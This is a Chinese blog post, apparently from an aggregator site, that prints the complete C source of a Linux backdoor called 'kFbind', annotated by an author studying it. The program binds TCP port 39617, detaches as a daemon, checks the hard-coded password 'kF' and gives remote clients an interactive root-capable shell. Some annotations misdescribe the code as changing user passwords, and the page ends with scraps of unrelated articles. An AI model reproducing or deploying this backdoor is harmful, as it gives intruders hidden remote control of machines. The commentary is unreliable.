基于Linux平台下网络病毒Caem.c源码及解析

Came.c型病毒在这里主要修改了用户的密码,同时对用户的终端设备进行了监视。希望与大家共同交流

转载请注明出处:http://blog.csdn.net/u010484477     O(∩_∩)O谢谢

#define HOME "/"

#define TIOCSCTTY 0x540E

#define TIOCGWINSZ 0x5413

#define TIOCSWINSZ 0x5414

#define ECHAR 0x1d

#define PORT 39617

#define BUF 32768

#include <sys/wait.h>

#include <sys/types.h>

#include <sys/resource.h>

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <string.h>

#include <fcntl.h>

struct winsize {

unsigned short ws_row;

unsigned short ws_col;

unsigned short ws_xpixel;

unsigned short ws_ypixel;

};

/* passwd protection by KillFinger oF SecretColony */

int sc;

char passwd[] = "kF";

char motd[] ="=- SecretColony Lab N Research Project -=\n";

//**************************************************************************************病毒的恶意部分***********************************************************

void kf_shell()

{

char buffer[150];

write(sc, "passwd ", 7); //用户在屏幕输入“passwd”,会让用户输入密码,同时系统也会输出相应的东西(刚开始一直没有看懂这个是什么意思?sc根本没有空间,后来直接在我的CentOs上输入了passwd,一下子系统就返回了change usr:,于是想到了,原来这句话是这个用途,感觉只看不自己去做有些东西是很难看出来的,至少对我来说是这样

read(sc, buffer, sizeof(buffer));

if (!strncmp(buffer, passwd, strlen(passwd))) //比较这个系统返回的话中是否有 has "kF"(我上网查了一下,网上很多都说kf是游戏服务器)

{

write(sc, motd, sizeof(motd)); //改写密码

}

else

{

write(sc, "DiE!!!\n", 7); //不能操作了

close(sc); exit(0);

}

}

//**********************************************************************************************************************************************************************

/* creates tty/pty name by index */

void get_tty(int num, char *base, char *buf)

{

char series[] = "pqrstuvwxyzabcde";

char subs[]   = "0123456789abcdef";

int pos = strlen(base);        //base is tty/pty name

strcpy(buf, base);                //pos is name‘s length

buf[pos] = series[(num >> 4) & 0xF];

buf[pos+1] = subs[num & 0xF];

buf[pos+2] = 0;

}

/* search for free pty and open it */

int open_tty(int *tty, int *pty)

{

char buf[512];

int i, fd;

fd = open("/dev/ptmx", O_RDWR); //write and read open it

close(fd);

for (i=0; i < 256; i++)

{

get_tty(i, "/dev/pty", buf);            //buf has a path "/dev/pty/XXXX"

*pty = open(buf, O_RDWR);

if (*pty < 0)

continue;

get_tty(i, "/dev/tty", buf);              //buf has a path "/dev/tty/XXXX"

*tty = open(buf, O_RDWR);

if (*tty < 0)

{

close(*pty);

continue;

}

return 1;

}

return 0;

}

/* to avoid creating zombies ;) */

void sig_child(int i)

{

signal(SIGCHLD, sig_child);       //when process stop ,begin sig_child function

waitpid(-1, NULL, WNOHANG);   //suspend process temp

}

void hangout(int i)

{

kill(0, SIGHUP);

kill(0, SIGTERM);                           //终止与当前进程组内的所有进程

}

//调用

int main()

{

int pid;

struct sockaddr_in serv;

struct sockaddr_in cli;

    //struct sockaddr_in

{

//shortsin_family;            /*Addressfamily一般来说AF_INET(地址族)PF_INET(协议族)*/

//unsignedshortsin_port;    /*Portnumber(必须要采用网络数据格式,普通数字可以用htons()函数转换成网络数据格式的数字)*/

//structin_addrsin_addr;    /*Internetaddress*/

//unsignedcharsin_zero[8];    /*Samesizeasstructsockaddr没有实际意义,只是为了跟SOCKADDR结构在内存中对齐*/

// };

int sock;

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (sock < 0)

{

perror("socket");

return 1;

}

bzero((char *) &serv, sizeof(serv));                               //make sizeof(serv) bytes as zero

serv.sin_family = AF_INET;

serv.sin_addr.s_addr = htonl(INADDR_ANY);

serv.sin_port = htons(PORT);

if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) //将套接字绑定到一个已知的地址上。

{

perror("bind");

return 1;

}

if (listen(sock, 5) < 0)

{

perror("listen");

return 1;

}

printf("kFbind is starting...");

fflush(stdout); //刷新标准输出缓冲区,把输出缓冲区里的东西打印到标准输出设备上

pid = fork();     //create a child process,give child process id

if (pid !=0 )      //it‘s a father process

{

printf("OK, pid = %d\n", pid);

printf("Enj0y y0uR d00r by SecretColony\n");

return 0;

}

/* daemonize */

setsid();                  //当前进程会成为新会话的领头进程,同时与控制终端脱离

chdir("/");                //改变当前工作目录位"/"

pid = open("/dev/null", O_RDWR); //开启无底洞

dup2(pid, 0); //copy file handle

dup2(pid, 1);

dup2(pid, 2);

close(pid);

signal(SIGHUP, SIG_IGN);     //发送给具有Terminal的Controlling Process,当terminal被disconnect时候发送

signal(SIGCHLD, sig_child);  //when process stop ,begin sig_child function

while (1)

{

int scli;

int slen;

slen = sizeof(cli);

scli = accept(sock, (struct sockaddr *) &cli, &slen); //从连接请求队列中获得连接信息,

//创建新的套接字,并返回该套接字的文件描述符。新创建的套接字用于服务器与客户机的通信,而原来的套接字仍然处于监听状态。

if (scli < 0)

continue;

pid = fork();   //create a child process,give child process id

if (pid == 0)   //it‘s child process

{

int subshell;

int tty;

int pty;

fd_set fds;

char buf[BUF];

char *argv[] = {"sh", "-i", NULL};

#define MAXENV 256

#define ENVLEN 256

char *envp[MAXENV];

char envbuf[(MAXENV+2) * ENVLEN];

int j, i;

char home[256];

/* setup enviroment */

envp[0] = home;

sprintf(home, "HOME=%s", "/");

j = 0;

do {

i = read(scli, &envbuf[j * ENVLEN], ENVLEN);

envp[j+1] = &envbuf[j * ENVLEN];

j++;

if ((j >= MAXENV) || (i < ENVLEN))

break;

} while (envbuf[(j-1) * ENVLEN] != ‘\n‘); //直到读到回车为止

envp[j+1] = NULL;

/* create new group */

setpgid(0, 0);            //目前进程ID将用作进程组ID

/* open slave & master side of tty */

if (!open_tty(&tty, &pty))

{

char msg[] = "Can‘t fork pty, bye!\n"; //还在这幽默呢

write(scli, msg, strlen(msg));

close(scli);

exit(0);

}

 /* fork child */

subshell = fork();

if (subshell == 0)

{

 /* close master */

close(pty);

 /* attach tty */

setsid();                        //进程与控制终端脱离

ioctl(tty, TIOCSCTTY); //可向设备发送控制和配置命令

/* close local part of connection */

close(scli);

close(sock);

signal(SIGHUP, SIG_DFL); //发送给具有Terminal的Controlling Process,当terminal被disconnect时候发送

//SIG_DFL 这个符号表示恢复系统对信号的默认处理

signal(SIGCHLD, SIG_DFL); //when process stop

dup2(tty, 0);

dup2(tty, 1);

dup2(tty, 2);

close(tty);

kf_shell();

execve("/bin/sh", argv, envp);

//execve()用来执行参数filename字符串所代表的文件路径,

//第二个参数是利用数组指针来传递给执行文件,并且需要以空指针(NULL)结束,

//最后一个参数则为传递给执行文件的新环境变量数组。

//就像上面那样

//char *argv[] = {"sh", "-i", NULL};

//envp包含scli的东西

//scli = accept(sock, (struct sockaddr *) &cli, &slen); //从连接请求队列中获得连接信息,

}

 /* close slave */

close(tty);

signal(SIGHUP, hangout);

signal(SIGTERM, hangout); //发送终止信号时启用handout

while (1)

{

/* watch tty and client side */

FD_ZERO(&fds);      //初始化套接字

FD_SET(pty, &fds);  //将pty加入fds集合

FD_SET(scli, &fds); //将scli加入fds集合

if (select((pty > scli) ? (pty+1) : (scli+1),

&fds, NULL, NULL, NULL) < 0)

{

break;

}

if (FD_ISSET(pty, &fds)) //检查在select函数返回后,某个描述符是否准备好,以便进行接下来的处理操作。

{

int count;

count = read(pty, buf, BUF);

if (count <= 0)

break;

if (write(scli, buf, count) <= 0)//从pty里面读出来放入到Scli中

break;

}

if (FD_ISSET(scli, &fds))

{

int count;

unsigned char *p, *d;

d = buf;

count = read(scli, buf, BUF);

if (count <= 0)

break;

/* setup win size */

p = memchr(buf, ECHAR, count); //从buf所指内存区域的前count个字节查找字符ECHAR。

if (p)

{

unsigned char wb[5];

int rlen = count - ((ulong)p - (ulong)buf);

struct winsize ws;

 /* wait for rest */

if (rlen > 5)

rlen = 5;

memcpy(wb, p, rlen);

if (rlen < 5)

{

read(scli, &wb[rlen], 5 - rlen);

}

 /* setup window */

ws.ws_xpixel = ws.ws_ypixel = 0;

ws.ws_col = (wb[1] << 8) + wb[2];

ws.ws_row = (wb[3] << 8) + wb[4];

ioctl(pty, TIOCSWINSZ, &ws);
//可向设备发送控制和配置指令了

kill(0, SIGWINCH);

/* write the rest */

write(pty, buf, (ulong) p - (ulong) buf);

rlen = ((ulong) buf + count) - ((ulong)p+5);

if (rlen > 0)

write(pty, p+5, rlen);

}

else if (write(pty, d, count) <= 0)

break;

}

}

close(scli);

close(sock);

close(pty);

waitpid(subshell, NULL, 0); //暂时停止目前进程的执行,直到有信号来到或子进程结束。

vhangup(); //将当前进程挂起

exit(0);

}

close(scli);

}

}

分析了一段时间的病毒样本,感觉不同的病毒就是一种新的思路,自己需要学习的还有很多很多。。。

最后是自己喜欢的一句话:

If you don‘t fight for what you love, don‘t cry for what you lose.

如果你不为你的所爱奋斗,那就别为你的失去而哭泣

基于Linux平台下网络病毒Caem.c源码及解析,布布扣,bubuko.com

时间: 2024-10-09 20:59:46

基于Linux平台下网络病毒Caem.c源码及解析的相关文章

基于Linux平台下的僵尸网络病毒《比尔盖茨》

感觉分析的很好,所以决定翻译出来,希望和大家多多交流O(∩_∩)O~ 转载请注明出处:http://blog.csdn.net/u010484477     O(∩_∩)O谢谢 关键字:病毒,linux,信息安全 我昨天写的日志里面提到,家用路由器在x86的CentOS系统下奇怪的自己行动,像是在自己加载处理器.于是我决定爬上去看看,在那里发生了什么,然后我马上意识到有人爬到服务器和挂在进程中的dgnfd564sdf.com.主要是下面几个方面atddd,cupsdd,cupsddh, ksap

PHP基于MVC模式下的投资理财网站、源码免费分享

大家好,我是全微毕设团队的创始人,本团队擅长JAVA(SSM,SSH,SPRINGBOOT).PYTHON.PHP.C#.安卓等多项技术. 今天将为大家分析一个投资理财网站,本系统使用web前端设计工具Adobe Dreamweaver,前端开发语言html+css+javascript,php后端语言和mysql数据库. 所谓投资理财网站,是指借贷双方彼此通过网络进行个人贷款,借款人出具在投资理财网站的借款需求,投资者通过网站将其进行贷款.发达的信息技术时代,投资理财网站利用先进的网络技术,依

Flask之基于route装饰器的路由系统(源码阅读解析)

一 路由系统 1. 在flask中配置URL和视图函数的路由时,首先需要在main.py中实例化一个app对象: 1 from flask import Flask, render_template 2 3 app = Flask(__name__) 2. 然后通过app实例的route方法装饰视图函数,实现路由的配置: 1 @app.route('/') 2 def hello_world(): 3 return 'Hellow World!' 3. 所有这里需要关注在Flask类里定义的ro

基于Linux平台病毒Wirenet.c解析

在分析Wirenet.c时,感觉自己学到了很多很赞的思想,希望跟大家一同交流. 转载请注明出处:http://blog.csdn.net/u010484477谢谢^_^ 这次并不想通篇的进行分析了,我想写出两块病毒的恶意代码,觉得思想挺好的. 一.删除某目录下的所有文件 pathpoint = opendir(path);  //打开一个目录 dirent = readdir(pathpoint);//读取目录,返回dirent结构体指针 fdname = dirent->d_name;//得到

基于Linux平台病毒BlackHole病毒解析

今天遇到了一个病毒,代码量不多,但是利用了一个函数的小空子,杀伤力确实挺惊人的. 转载请注明出处:http://blog.csdn.net/u010484477谢谢^_^ 这个病毒前面就是常规的: socket->bind->listen这个过程大家都 下面我想详细说一下它的攻击方式: while ( 1 ) { nsock = accept(sock, (struct sockaddr *)&v10, (socklen_t *)&v9);// wait to link if

Linux系统下为何病毒少?原因竟是这个?

Linux系统下为何病毒少?原因竟是这个? 可能不少人持这样一种观点,认为 Linux 病毒少是因为Linux不像Windows那么普及,其实这种观点很早已经被人批驳过了,一个最有力的论据是:如果写病毒的人写 Windows 病毒是因为 Windows 用户多而因此破坏性大,那么 Internet 上大多数服务器都是基于 Unix/Linux 的,攻击这些服务器,破坏性岂不是更大么? 对一个二进制的 Linux 病毒,要感染可执行文件,这些可执行文件对启动这个病毒的用户一定要是可写的.而实际情况

linux平台下防火墙iptables原理(转)

原文地址:http://www.cnblogs.com/ggjucheng/archive/2012/08/19/2646466.html iptables简介 netfilter/iptables(简称为iptables)组成Linux平台下的包过滤防火墙,与大多数的Linux软件一样,这个包过滤防火墙是免费的,它可以代替昂贵的商业防火墙解决方案,完成封包过滤.封包重定向和网络地址转换(NAT)等功能. iptables基础 规则(rules)其实就是网络管理员预定义的条件,规则一般的定义为“

(0.2.3)Linux平台下二进制方式安装mysql

本章节:二进制安装mysql 目录: 1.基于Linux平台的Mysql项目场景介绍 2.mysql数据库运行环境准备-最优配置 3.如何下载mysql数据库 4.linux平台下二进制文件方式安装mysql 4.1.环境检查(libaio包) 4.2.安装过程 (1)下载文件.上传安装程序 (2)创建用户,组,创建目录 (3)解压安装程序包 (4)修改权限(授权用户对解压目录的权限) (5)配置环境变量(以便可以直接运行mysql命令) (6)准备参数配置文件 (7)开始初始化Mysql (8

Linux平台下源码安装mysql多实例数据库

Linux平台下源码安装mysql多实例数据库[[email protected] ~]# netstat -tlunp | grep 330tcp6 0 0 :::3306 :::* LISTEN 6191/mysqld [[email protected] ~]# ss -tlunp | grep 330tcp LISTEN 0 80 :::3306 :::* users:(("mysqld",pid=6191,fd=10)) [[email protected] ~]# syst